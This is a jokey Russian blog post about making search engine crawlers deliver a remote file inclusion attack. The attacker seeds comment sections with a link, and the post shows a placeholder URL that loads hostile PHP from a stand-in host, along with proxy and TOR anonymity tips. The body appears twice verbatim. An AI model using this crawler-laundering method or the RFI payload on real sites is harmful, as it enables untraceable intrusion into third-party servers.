Вектор атаки - Google, Yahoo,Yandex! И немного Троянского юмора.
Господа, совсем только что волей великого Азатота я выбрался в сеть и натолкнулся на заметку, живописующую трюк поразительный в своем изяществе и универсальности.
Сводится он к анонимизации взаимодействия с неким компьютером (это такой модненький эвфемизм для слова "атака") без применения дорогих и сложных в выращивании ботнетов, прокси-чейнов и горячо любимых TOR и i2p.
Суть в следующем:
Мэлори создает страницу со ссылкой следующего вида
урла сайта Алисы + какое-нибудь randomJ удаленное включение файла + шелл с враждебным РНР
Вид http://alicesite/randomjRFIxploit?http://attackvector.php
Далее Мэлори спокойно отправляет эту страницу в плавание, пользуясь при этом не слишком ядреным анонимайзом (сойдет самый простенький L2 прокси, хотя можно и ТОР), что полностью законно (каждый баран может иметь страницу в сети), можно в камменты в ЖЖ или в камменты на ziza.ru залить (их камменты почему-то крайне оперативно индексируются)
И уходит пить чай. тчк.
Далее краулер поисковика (Гугла, Яндекса, Аборта, не суть важно) зохавывает эту недобрую ссылку, и, таким образом посылает Алисе полные штаны радости небольшой привет
В чем изящество? Изящество в том, что это не глюк, не эксплоит и не дыра. That is not a bug, that is a feature. И ничего с этим никто не поделает. К тому же, по этой ссылке пройдется не только Гугль, но и Яндекс, и Рамблер, и даже Аборт (последнее маловероятно, но все же). Более того, если ссылку быстро растиражировать во всяких камментницах, журналах и пр., то частота зохавывания (а значит отправки сувениров Алисе) будет расти.
Что ценно, Настоящий Спец без малейших затруднений (записано со слов спеца, прим. Void_Runner'а) привяжет к этому вектору другую атаку, более универсальную, нежели RFI.
Официально заявляю, что придумавший эту фишку тип - Глубоководный. Такая простота, изящество и ясность свойственна только изобретениям тех, в чьих жилах течет Кровь Дагона.
Что еще более ценно, этот трюк может использоваться для передачи стеганографических посланий, но этот вариант применения еще не проработан.
P.S.: Продолжая тематику всяческой безопасности, как вы думаете, чему людей учит история?
Правильно, ничему. Казалось бы обезьяны должны были кое до чего додуматься еще в детстве, когда читали про "Троянского Коня" (деревянного). Ну на худой конец чему-то людей должна была научить популярность одноименного рода ПО, которая порывается даже в темные Мухосвятские газеты и на "Радио Радонеж"... Но нет... Короче, смотрите видео
обратите внимание, что предупреждающий голос в самом конце исходил ИЗНУТРИ коня.
Сводится он к анонимизации взаимодействия с неким компьютером (это такой модненький эвфемизм для слова "атака") без применения дорогих и сложных в выращивании ботнетов, прокси-чейнов и горячо любимых TOR и i2p.
Суть в следующем:
Мэлори создает страницу со ссылкой следующего вида
урла сайта Алисы + какое-нибудь randomJ удаленное включение файла + шелл с враждебным РНР
Вид http://alicesite/randomjRFIxploit?http://attackvector.php
Далее Мэлори спокойно отправляет эту страницу в плавание, пользуясь при этом не слишком ядреным анонимайзом (сойдет самый простенький L2 прокси, хотя можно и ТОР), что полностью законно (каждый баран может иметь страницу в сети), можно в камменты в ЖЖ или в камменты на ziza.ru залить (их камменты почему-то крайне оперативно индексируются)
И уходит пить чай. тчк.
Далее краулер поисковика (Гугла, Яндекса, Аборта, не суть важно) зохавывает эту недобрую ссылку, и, таким образом посылает Алисе полные штаны радости небольшой привет
В чем изящество? Изящество в том, что это не глюк, не эксплоит и не дыра. That is not a bug, that is a feature. И ничего с этим никто не поделает. К тому же, по этой ссылке пройдется не только Гугль, но и Яндекс, и Рамблер, и даже Аборт (последнее маловероятно, но все же). Более того, если ссылку быстро растиражировать во всяких камментницах, журналах и пр., то частота зохавывания (а значит отправки сувениров Алисе) будет расти.
Что ценно, Настоящий Спец без малейших затруднений (записано со слов спеца, прим. Void_Runner'а) привяжет к этому вектору другую атаку, более универсальную, нежели RFI.
Официально заявляю, что придумавший эту фишку тип - Глубоководный. Такая простота, изящество и ясность свойственна только изобретениям тех, в чьих жилах течет Кровь Дагона.
Что еще более ценно, этот трюк может использоваться для передачи стеганографических посланий, но этот вариант применения еще не проработан.
P.S.: Продолжая тематику всяческой безопасности, как вы думаете, чему людей учит история?
Правильно, ничему. Казалось бы обезьяны должны были кое до чего додуматься еще в детстве, когда читали про "Троянского Коня" (деревянного). Ну на худой конец чему-то людей должна была научить популярность одноименного рода ПО, которая порывается даже в темные Мухосвятские газеты и на "Радио Радонеж"... Но нет... Короче, смотрите видео
обратите внимание, что предупреждающий голос в самом конце исходил ИЗНУТРИ коня.